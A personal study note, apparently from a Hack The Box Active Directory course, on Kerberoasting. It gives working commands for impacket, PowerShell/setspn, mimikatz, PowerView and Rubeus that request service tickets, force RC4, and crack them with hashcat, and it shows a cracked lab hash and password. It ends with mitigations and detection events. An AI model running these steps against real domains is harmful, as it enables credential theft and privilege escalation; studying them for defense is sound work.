---
title: "12. Kerberoasting"
date: 2024-09-07
draft: false
---

## Kerberoasting from the linux perspective
- Attacks target Service Principal Names (SPNs) https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names accounts 
- Dom accts frequently used to run services to overcome network auth limitations of built-in accounts 
- Any domain user can request a kerb ticket for any service account in the same domain. 
	- If over a trust boundary we can do this for other accounts in a forest
- Requirements:
	- An account's cleartext PW / NTLM hash 
	- Shell in context of domain user account
	- OR SYSTEM level access on a domain joined host
- Dom accts running services are often local admin, if not just highly privileged. 
	- May even be given admin privs across multiple hosts 
- Retrieving a kerb ticket for an account w/ an spn does not by itself allow execution but the TGS-REP ticket is encrypted with an NTLM hash so the cleartext password can be obtained by bruteforcing it offline. 
- Service accounts are often configured with weak/reused passwords for simplified administration 
- Even if cracking the TGS-REP ticket obtained via kerberoasting gives low-priv user account we can use it to craft service tickets for the service specified in the SPN. 
	- I.e. if SPN is set to MSSQL/SRV01 we can access the MSSQL service as sysadmin, enable the xp_cmdshell extended procedure and gain code execution on the sql server. 

https://youtu.be/PUyhlN-E5MU - talk by Tim Medin at derbycon 2014 

Svc accounts: 
- Likely valuable
- Often configured with weak/reused pws 
- Certain services may have high priv on multiple hosts in teh domain. 

Able to be performed from: 
- Non-domain joined linux host using valid domain user creds
- Domain-joined linux host (as root) w/ keytab file
- Domain-joined win host auth as domain user
- Domain-joined win host with a shell in the context of a domain account
- Domain-joined SYSTEM access 
- Non-domain joined windows host using `runas /netonly`

Tools:
- GetUserSPNs.py https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py 
- From within Windows itself using PowerView, Rubeus, other powershell cmdlets. 

---
TGS ticket via kerberoasting does not guarantee a valid set of credentials, and the ticket must still be cracked offline. TGS tickets take longer to crack in comparison to NTLM ashes, so often, it can be difficult or even impossible to obtain a cleartext pw with a standard cracking rig. 

---
**Efficacy of the attack**
It can be a great way to move laterally or escalate privileges, but kerberoasting and the presence of SPNs do not guarantee access. 
- We may crack a TGS ticket and obtain Domain Admin access straightaway or obtain creds that help us move further into the env. 
- Other times we may perform a kerberoasting attack and retrieve multiple TGS tickets, some helpful and crackable but do not further our path to domain admin. 

---
Performing the kerberoast 
- Prerequisites: 
	- Domain user creds (NTLM hash or cleartext)
	- Shell in context of domain user
	- or SYSTEM account. 

Gathering a list of SPNs - Need ip of the domain controller. 
- Auth to DC with cleartext/NT hash (or even kerb ticket) 
```bash
stejwes@htb[/htb]$ GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend
```
After listing the available SPNs we can pull all TGS tickets for offline processing using the -request flag. TGS tickets will be output in a format that can be readily provided to hashcat or john the ripper. 
```bash
stejwes@htb[/htb]$ GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request 
```

We can also target just one account: 
```bash
stejwes@htb[/htb]$ GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev
```

Can always use `-outputfile` to direct tgs ticket to a file. 

Cracking: 
```bash
stejwes@htb[/htb]$ hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt 
```

We got the kerb ticket for sap service and cracked it below: 
```bash
$krb5tgs$23$*SAPService$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/SAPService*$36fbbf11e6777a4d3006be7ee3908499$b35bc220805cf4cede0ea5a6dae3538d0e6a7062b770ccf43eb147a3fa459e07ca142ef9629224e4ddbec5197a5455269312265e9e390d1106aa8c7c2b1563de5d3ce7953c403629b495fd7f7f6f2aa6dc1f6b7684a9b6bb91707e11709e6bfb778d80b7f3b0962c829c44183d1b6daa0e852cca829b3cdb34eaa19fb1a678025f1d715c0854de5fdb40d9e562a903086dffc4d7e04783319ed2e1f4e79a3948ca7b97b035fc485eec805326ba9bc48b2bd012c252b7f0e33b3b3f50df1ea16712a15fe2368bc3b49101eb32735975b6d0f31035b4dd6031e7eb3de15f1d27c483b5975d03202357f712f272d81e932e0fe8c81b85359f53d5c22e7676f25ea7dc775f618961aa9e81f7c515cdb0d15a8f19b39c0b1e0628bee99505145986836901690a55402a0d7cb602d17ecd7361d739a1acb3e937fabf42faf5f16b422999edb8c14580e87378af648b860f53ba7e56ebeef65bfd7cd6c8fb96c0ea57b9c29fff8032b85c3c5bfec6faf420f1303524fc9deab7541b4e66d8de9943f3686c969df815ad57364b1310a6a42cd9d259865e52548ae15275b91c28ad920fe54165bc0ab85f631c794ea81bb642ccebe936fe0ed4795c7d645704a5bf2d02fa70f638c85c65865a731c50229c507d627dda3d28ef14bb14ad82c3e43163e644ff710bc56ac11a117c6da98b01c201f462c3522cc0cd0d352477cd5f0fd2ccbb62251a73035e2996c10a92314fb6431789c42d4e4166d7e166092e3851f818bbe20e7827de76b12990f483ff521ff8826a4f68c198acfdc36af495b37709f96c44aa019349ddfdd74b898b369b81bbe004442d9e4ba841cebb9d83f8484b4ed8fa2847f5e17202b289280f56d6f4b15a157447165e80d1844afdd6d050b01ecff024a6aabb068ae5504ec6308e6b48d47a3e9a8cd0c573dc30c9625e22e38291d27f7ebc3b5d99efb3f3b90fbef28ce17a18c8baf3134da2bc64349018d283fd290f8f3e22f23a185acf44c9f8c0217a7d9b00e295cc26326bb67371eacd4f48bfbd673ba3483cff58d53e110cc8b893dd6971b4391da01b74c272f0796e26e3eb07128f5638a953600477c2168a8f6c8499f45a668446723c9659e1962ef52c9f966ea77b53bf8ce303e5bbdc6a2bdcf5ed5ecf7a161f4b34b9192c8855f1cdf0fad2bae5c260da24ae04a2ee9c70fe0448d689311614ac277b8aa2fb3607dac2a334258e975c3afd98b2aafb606e499b1aeee87462994e56d9baad0c7e011b673b73793de816145a16024b0731f75de1dcbe67f57a8b9c0dec5643c8f881f68576f348c0bf8208cdb11f242de6bbddb78f55791ba4eeb35f9345732209afc2a91e497c96f8b16f22424646639921efb482bc5fc98bd168e2f91ad4eb7f6a528b32e9fd4e17f7233d629c58ce62cd2e2c24:!SapperFi2
```

---
## Kerberoasting from within windows 

### Manual, "traditional" way of kerberoasting before modern tooling 
Before tools like rubeus, stealing or forging kerberos tickets was complex and manual. 
`setspn` was used to enumerate SPNs in the domain: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731241(v=ws.11)
```bash
C:\htb> setspn.exe -Q */*
```
This should return existing spns. Focusing on user accounts, we use PS to request tgs tickets for an account in the output and load them into memory. after they're found in memory, we extract with mimikatz. 

```bash
PS C:\htb> Add-Type -AssemblyName System.IdentityModel
PS C:\htb> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
```

Add-Type cmdlet used to add .net framework class to our PS session 
`-Assembly` param specifies an assembly that contains types we want to use 
`System.IdentityModel` is namespace containing different classes for building security token svcs
`New-Object` cmdlet creates an instance of a .NET framework object
`System.IdentityModel.Tokens` namespace with `KerberosRequestorSecurityToken` class to create a sec token and pass SPN name to the class to request a kerberos TGS ticket for the target account 

Retrieving all tickets: 
```bash
PS C:\htb> setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
```
Above  combines previous commands with setspn.exee to request tickets for all accounts with SPNs set. 

Once we have these tickets we can extract with mimikatz. 
```bash
mimikatz # base64 /out:true

mimikatz # kerberos::list /export  

```
This will output a base64 kirbi ticket file. 
After we dump it, we retrieve and move these files to the attack host. 
```bash
stejwes@htb[/htb]$ echo "<base64 blob>" |  tr -d \\n 
```
Above is used to remove columns and whitespaces from the base64 output. 
pipe it into base64 -d and direct output to a kirbi 

After we have this file we can extract using kirbi2john.py 
https://raw.githubusercontent.com/nidem/kerberoast/907bf234745fe907cf85f3fd916d1c14ab9d65c0/kirbi2john.py

Then, we need to modify it a bit 
```bash
stejwes@htb[/htb]$ sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
```
and crack it with hashcat `-m 13100` 

---

### Automated (Powerview, Rubeus) kerberoasting
```bash
Import-Module .\PowerView.ps1 
Get-DomainUser * -spn | select samaccountname
```
From here we can target a specific user and retrieve the TGS ticket in hashcat format. 

```bash
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
```
Then, we can export tickets to a CSV file for offline processing. 
```bash
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | export-Csv .\ilfreight_tgs.csv
```

We can also use Rubeus. 
`.\Rubeus.exe`
The help menu itself has a great ton of information and exact syntax to kerberoast with. 

Options include: 
```bash
Performing Kerberoasting and outputting hashes to a file
Using alternate credentials
Performing Kerberoasting combined with a pass-the-ticket attack
Performing "opsec" Kerberoasting to filter out AES-enabled accounts
Requesting tickets for accounts passwords set between a specific date range
Placing a limit on the number of tickets requested
Performing AES Kerberoasting
```

`.\Rubeus.exe kerberoast /stats` is good for gathering stats about kerberoastable users
We can specifically request tickets for accounts with admincount attribute set to 1. 
- Likely highvalue
- /nowrap flag (easier copying) 

```bash
PS C:\htb> .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
```

---

## Kerberoasting encryption notes
Kerberoasting tools typically request RC4 encryption when initiating TGS-REQ requests. RC4 is weaker and easier to crack offline. (as opposed to aes128/256) 
It's possible to crack aes-128/aes-256 it will be significantly more time consuming than an rc4 encrypted ticket. 

We check supported encryption types with 
```bash
PS C:\htb> Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes
```
and once we spawn a ticket with 
```bash
PS C:\htb>  .\Rubeus.exe kerberoast /user:testspn /nowrap
```
we'll see the ticket is encrypted with AES256 - looking at the `example hashes` hashcat page we can determine we'll use `-m 19700` to crack it. 

However, we can use Rubeus functionality `/tgtdeleg` flag to specify we only want rc4 encryption when requesting a new service ticket - specifying rc4 encryption as the only algorithm we support in the body of the TGS request. potentially a backward compatibility failsafe in AD. We'll use this in scenarios where the supported encryption types are aes128/256. 
- Does not work against a 2019 server DC regardless of domain functional level
	- In this case it will always return a service ticket encrypted with the highest level of encryption supported
	- If in a domain with 2016 or earlier, enabling AES will not prevent us from requesting RC4. 

### Kerberoasting mitigations 

Changing encryption types used by kerberos: 
 This can be done by opening Group Policy, editing the Default Domain Policy, and choosing: `Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options`, then double-clicking on `Network security: Configure encryption types allowed for Kerberos` and selecting the desired encryption type allowed for Kerberos.

Set long and complex password/passphrases that do not appear in any wordlist 
Recommended to us Managed Service Accounts (MSA) and Group MSAs 
https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/managed-service-accounts-understanding-implementing-best/ba-p/397009
https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview
- these use very complex passwords that automatically rotate on a set interval
Or, use accounts setup with LAPS. 

Kerbroast requests TGS tickets with rc4 enc, which should not be the majority of kerb activity within a domain. When kerbroasting is happening in the env, we will see an abnormal number of TGS-REQ and TGS-REP requests and responses, signaling usage of automated kerbroasting tools. DCs can be configured to log kerberos TGS tickets within Group Policy 
- Events 4769 and 4770 

Restrict usage of RC4 particularly for kerberos requests by service accounts. Must be tested to make sure nothing breaks within the environment. 

Dom admins / other highly priv accounts should not be used as SPN accounts, if spn accts must exist 
https://adsecurity.org/?p=3458

